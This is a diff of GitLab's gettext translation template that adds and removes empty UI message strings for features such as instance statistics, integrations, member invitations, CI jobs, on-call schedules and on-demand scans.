@@ -14665,9 +15004,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14752,9 +15088,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14782,73 +15115,79 @@ msgstr[5] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14887,6 +15226,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14920,7 +15262,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14938,6 +15289,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14959,6 +15313,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -15034,6 +15391,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -15076,6 +15436,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -15100,6 +15463,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -15145,6 +15511,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -15154,16 +15523,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -15271,9 +15640,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -15337,6 +15703,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -15472,10 +15841,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15652,6 +16021,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15781,6 +16171,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15967,9 +16360,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -16063,6 +16453,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -16090,9 +16483,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -16123,9 +16513,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -16189,9 +16576,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -16255,18 +16639,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -16282,9 +16657,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -16390,6 +16762,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -16414,6 +16789,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16618,9 +16996,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16681,16 +17056,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a full email address"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16753,7 +17122,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16765,7 +17134,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16813,6 +17182,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16837,9 +17209,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16996,7 +17365,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -17032,9 +17404,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -17044,12 +17425,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -17068,6 +17458,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -17119,6 +17512,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -17170,6 +17566,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17734,6 +18133,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17839,6 +18241,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17872,12 +18277,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17935,7 +18334,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -18031,6 +18430,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -18166,6 +18568,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -18199,6 +18604,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -18424,7 +18832,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18580,6 +18988,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18685,9 +19096,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18871,9 +19279,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18910,6 +19315,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18928,6 +19336,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18940,6 +19351,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18979,6 +19393,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -19015,9 +19432,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -19033,6 +19456,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -19042,6 +19468,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -19168,6 +19597,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -19183,9 +19639,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -19210,9 +19663,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -19225,6 +19675,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -19234,7 +19690,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -19261,9 +19717,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -19345,6 +19798,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -19411,9 +19867,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -19459,6 +19912,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19615,6 +20071,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19729,6 +20188,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19753,9 +20215,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -20020,6 +20479,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -20128,9 +20590,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -20176,6 +20635,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -20188,6 +20650,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -20197,6 +20662,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -20422,6 +20893,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20431,9 +20905,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20596,18 +21067,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20617,9 +21082,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20641,9 +21103,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20698,6 +21157,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20827,6 +21289,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20836,6 +21316,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20866,6 +21349,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -21223,9 +21709,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21478,7 +21961,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -21520,6 +22006,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21580,9 +22069,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21604,6 +22090,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21673,6 +22165,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -22054,6 +22549,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -22369,6 +22867,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -22522,6 +23023,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22609,9 +23113,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22690,6 +23191,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22717,9 +23221,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22924,9 +23425,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22942,15 +23440,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -23029,6 +23524,18 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -23065,6 +23572,15 @@ msgstr ""
msgid "Reports|Execution time"
